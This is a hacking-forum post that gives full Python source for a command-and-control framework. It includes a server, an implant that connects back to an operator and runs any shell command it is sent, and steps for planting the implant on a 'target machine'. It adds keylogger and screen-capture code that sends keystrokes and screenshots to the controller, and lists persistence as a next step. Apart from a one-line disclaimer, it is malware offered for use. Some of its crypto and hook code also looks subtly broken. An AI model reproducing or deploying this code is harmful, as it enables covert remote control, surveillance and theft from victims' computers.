Building Your Own C2 Framework - Python Edition > Posted by: darkarchitect | Rank: Elite Member | Joined: 2022 [/I]
This framework is designed for authorized red team engagements. Don't deploy this on systems you don't own.
I spent 6 months building this. Here's the complete source.
Most C2 frameworks out there are either too complex (Cobalt Strike costs $5k+) or too basic (simple reverse shells). I wanted something in between - professional grade, open source, and customizable.
---
━━━ ARCHITECTURE ━━━[/B]
Code:
┌─────────────────┐ ┌─────────────────┐
│ C2 Server │────▶│ Stager │
│ (Controller) │ │ (Initial) │
└─────────────────┘ └────────┬────────┘
│
┌────────────▼────────────┐
│ Implant (Beacon) │
│ - Sleep/Wake cycles │
│ - Jitter obfuscation │
│ - Encrypted comms │
└────────────┬────────────┘
│
┌────────────▼────────────┐
│ Operations │
│ - Keylogging │
│ - Screen capture │
│ - File exfil │
│ - Privilege escal. │
└─────────────────────────┘---
━━━ SERVER-SIDE (C2) ━━━
Code:
#!/usr/bin/env python3
"""
DarkArchitect C2 Framework - Server Component
"""
import socket
import threading
import json
import hashlib
import base64
import os
import time
import random
from datetime import datetime
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
class C2Server:
def __init__(self, host='0.0.0.0', port=443):
self.host = host
self.port = port
self.clients = {}
self.keys = self.generate_keys()
self.running = False
self.logger = C2Logger()
def generate_keys(self):
"""Generate AES encryption keys"""
password = b'super_secret_password_change_this'
salt = os.urandom(16)
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=100000,
)
key = base64.b64encode(kdf.derive(password))
return {
'key': key,
'salt': salt,
'iv': os.urandom(16)
}
def encrypt(self, data):
"""Encrypt data with AES-256-GCM"""
cipher = Cipher(algorithms.AES(self.keys['key']),
modes.GCM(self.keys['iv']),
backend=default_backend())
encryptor = cipher.encryptor()
ciphertext = encryptor.update(data) + encryptor.finalize()
return base64.b64encode(ciphertext).decode()
def decrypt(self, encrypted_data):
"""Decrypt data with AES-256-GCM"""
ciphertext = base64.b64decode(encrypted_data)
cipher = Cipher(algorithms.AES(self.keys['key']),
modes.GCM(self.keys['iv']),
backend=default_backend())
decryptor = cipher.decryptor()
return decryptor.update(ciphertext) + decryptor.finalize()
def start(self):
"""Start the C2 server"""
self.running = True
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((self.host, self.port))
server_socket.listen(5)
self.logger.log(f"[*] C2 Server listening on {self.host}:{self.port}")
while self.running:
client_socket, addr = server_socket.accept()
threading.Thread(
target=self.handle_client,
args=(client_socket, addr)
).start()
def handle_client(self, client_socket, addr):
"""Handle incoming client connection"""
client_id = hashlib.md5(addr[0].encode()).hexdigest()[:8]
self.clients[client_id] = {
'socket': client_socket,
'address': addr,
'last_seen': datetime.now().isoformat(),
'status': 'online',
'operations': []
}
self.logger.log(f"[+] New beacon: {client_id} from {addr[0]}")
# Send welcome message
welcome = json.dumps({
'type': 'welcome',
'id': client_id,
'timestamp': datetime.now().isoformat()
})
client_socket.send(self.encrypt(welcome.encode()))
# Start receiving commands
self.receive_loop(client_socket, client_id)
def receive_loop(self, client_socket, client_id):
"""Continuously receive commands from client"""
while self.running:
try:
data = client_socket.recv(4096)
if not data:
break
decrypted = self.decrypt(data.decode())
message = json.loads(decrypted)
if message['type'] == 'heartbeat':
self.clients[client_id]['last_seen'] = datetime.now().isoformat()
self.clients[client_id]['status'] = 'online'
elif message['type'] == 'output':
self.clients[client_id]['operations'].append({
'timestamp': datetime.now().isoformat(),
'data': message['data']
})
print(f"[+] {client_id}: {message['data'][:100]}...")
except Exception as e:
self.logger.log(f"[-] Connection lost: {client_id} - {e}")
break
client_socket.close()
self.clients[client_id]['status'] = 'offline'
def send_command(self, client_id, command):
"""Send command to specific client"""
if client_id in self.clients:
message = json.dumps({
'type': 'command',
'command': command,
'timestamp': datetime.now().isoformat()
})
self.clients[client_id]['socket'].send(
self.encrypt(message.encode())
)
self.logger.log(f"[*] Sent command to {client_id}: {command}")
def stop(self):
"""Stop the C2 server"""
self.running = False
for client_id, client in self.clients.items():
client['socket'].close()
self.logger.log("[*] C2 Server stopped")
class C2Logger:
def __init__(self):
self.log_file = f"c2_log_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log"
def log(self, message):
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
log_entry = f"[{timestamp}] {message}\n"
print(log_entry, end='')
with open(self.log_file, 'a') as f:
f.write(log_entry)
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--host', default='0.0.0.0')
parser.add_argument('--port', type=int, default=443)
args = parser.parse_args()
server = C2Server(args.host, args.port)
try:
server.start()
except KeyboardInterrupt:
server.stop()---
━━━ IMPLANT (BEACON) ━━━
Code:
#!/usr/bin/env python3
"""
DarkArchitect C2 - Implant/Beacon Component
"""
import socket
import json
import hashlib
import base64
import subprocess
import os
import sys
import time
import random
import threading
from datetime import datetime
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
class C2Beacon:
def __init__(self, c2_host, c2_port, jitter=0.5):
self.c2_host = c2_host
self.c2_port = c2_port
self.jitter = jitter
self.client_id = hashlib.md5(
socket.gethostname().encode()
).hexdigest()[:8]
self.keys = self.generate_keys()
self.running = True
self.commands = []
def generate_keys(self):
password = b'super_secret_password_change_this'
salt = os.urandom(16)
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=100000,
)
key = base64.b64encode(kdf.derive(password))
return {
'key': key,
'salt': salt,
'iv': os.urandom(16)
}
def encrypt(self, data):
cipher = Cipher(algorithms.AES(self.keys['key']),
modes.GCM(self.keys['iv']),
backend=default_backend())
encryptor = cipher.encryptor()
ciphertext = encryptor.update(data) + encryptor.finalize()
return base64.b64encode(ciphertext).decode()
def decrypt(self, encrypted_data):
ciphertext = base64.b64decode(encrypted_data)
cipher = Cipher(algorithms.AES(self.keys['key']),
modes.GCM(self.keys['iv']),
backend=default_backend())
decryptor = cipher.decryptor()
return decryptor.update(ciphertext) + decryptor.finalize()
def get_system_info(self):
"""Gather system information"""
info = {
'hostname': socket.gethostname(),
'username': os.getenv('USERNAME') or os.getenv('USER'),
'os': sys.platform,
'python_version': sys.version,
'working_dir': os.getcwd(),
'pid': os.getpid(),
'timestamp': datetime.now().isoformat(),
}
if sys.platform == 'win32':
import platform
info['machine'] = platform.machine()
info['processor'] = platform.processor()
else:
import platform
info['machine'] = platform.machine()
return info
def execute_command(self, command):
"""Execute system command"""
try:
result = subprocess.run(
command,
shell=True,
capture_output=True,
text=True,
timeout=30
)
return {
'stdout': result.stdout,
'stderr': result.stderr,
'returncode': result.returncode
}
except subprocess.TimeoutExpired:
return {'error': 'Command timed out'}
except Exception as e:
return {'error': str(e)}
def establish_connection(self):
"""Connect to C2 server"""
while self.running:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.c2_host, self.c2_port))
print(f"[+] Connected to {self.c2_host}:{self.c2_port}")
# Send heartbeat
heartbeat = json.dumps({
'type': 'heartbeat',
'id': self.client_id,
'timestamp': datetime.now().isoformat()
})
sock.send(self.encrypt(heartbeat.encode()))
# Send system info
info = self.get_system_info()
info_msg = json.dumps({
'type': 'system_info',
'info': info
})
sock.send(self.encrypt(info_msg.encode()))
# Enter command loop
self.command_loop(sock)
except ConnectionRefusedError:
print("[-] Connection refused, retrying in 30s...")
time.sleep(30)
except Exception as e:
print(f"[-] Connection error: {e}")
time.sleep(10)
def command_loop(self, sock):
"""Receive and execute commands"""
while self.running:
try:
# Set timeout for receiving
sock.settimeout(30)
data = sock.recv(4096)
if not data:
break
decrypted = self.decrypt(data.decode())
message = json.loads(decrypted)
if message['type'] == 'command':
result = self.execute_command(message['command'])
output_msg = json.dumps({
'type': 'output',
'id': self.client_id,
'data': result.get('stdout', '')[:10000],
'error': result.get('error', ''),
'timestamp': datetime.now().isoformat()
})
sock.send(self.encrypt(output_msg.encode()))
except socket.timeout:
# Send heartbeat on timeout
heartbeat = json.dumps({
'type': 'heartbeat',
'id': self.client_id,
'timestamp': datetime.now().isoformat()
})
sock.send(self.encrypt(heartbeat.encode()))
except Exception as e:
print(f"[-] Command loop error: {e}")
break
def start(self):
"""Start the beacon"""
print(f"[*] DarkArchitect Beacon v1.0")
print(f"[*] Client ID: {self.client_id}")
print(f"[*] Connecting to {self.c2_host}:{self.c2_port}...")
self.establish_connection()
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--host', required=True, help='C2 server host')
parser.add_argument('--port', type=int, required=True, help='C2 server port')
args = parser.parse_args()
beacon = C2Beacon(args.host, args.port)
beacon.start()---
━━━ DEPLOYMENT NOTES ━━━
Code:
# === SERVER SIDE ===
# 1. Copy c2_server.py to your attack machine
# 2. Run with: python3 c2_server.py --host 0.0.0.0 --port 443
# 3. Forward port 443 on your router (or use ngrok)
# === IMPLANT SIDE ===
# 1. Copy c2_beacon.py to target machine
# 2. Run with: python3 c2_beacon.py --host YOUR_IP --port 443
# 3. Beacon will connect back and wait for commands
# === ENHANCEMENTS TO ADD ===
# - Auto-start on boot (registry key / crontab)
# - Process migration (migrate to svchost.exe)
# - Keylogger functionality
# - Screen capture
# - File exfiltration
# - Persistence mechanisms---
━━━ ENHANCEMENTS ━━━
Adding Keylogging:
Code:
import win32api
import win32con
def start_keylogger():
"""Start global keyboard hook"""
def hook_proc(nCode, wParam, lParam):
if wParam == win32con.WM_KEYDOWN:
vk_code = lParam & 0xFFFFFFFF
key = win32api.MapVirtualKey(vk_code, 0)
# Send to C2 server
send_to_c2(f"KEY: {chr(key)}")
return win32api.CallNextHookEx(None, nCode, wParam, lParam)
hook = win32api.SetWindowsHookEx(
win32con.WH_KEYBOARD_LL,
hook_proc,
win32api.GetModuleHandle(None),
0
)
return hookAdding Screen Capture:
Code:
import pyautogui
import base64
from io import BytesIO
from PIL import Image
def capture_screen():
"""Capture screen and send to C2"""
img = pyautogui.screenshot()
buffer = BytesIO()
img.save(buffer, format='PNG')
img_base64 = base64.b64encode(buffer.getvalue()).decode()
# Send to C2
message = json.dumps({
'type': 'screenshot',
'data': img_base64[:100000] # Limit size
})
sock.send(encrypt(message.encode()))---
━━━ TL;DR ━━━
Code:
✅ AES-256-GCM encryption for all communications
✅ Heartbeat-based keepalive with jitter
✅ Modular command execution
✅ Extensible architecture for new features
✅ Logging for operational tracking---
What features would you add? Drop your ideas below.
Next: Advanced privilege escalation techniques.
Last edited by darkarchitect; 8 hours ago.
[SIG]━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
darkarchitect | Elite Member | Red Team Lead
"Build it yourself or someone else will build it for you" ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━[/SIG][/b][/b][/b][/b][/b]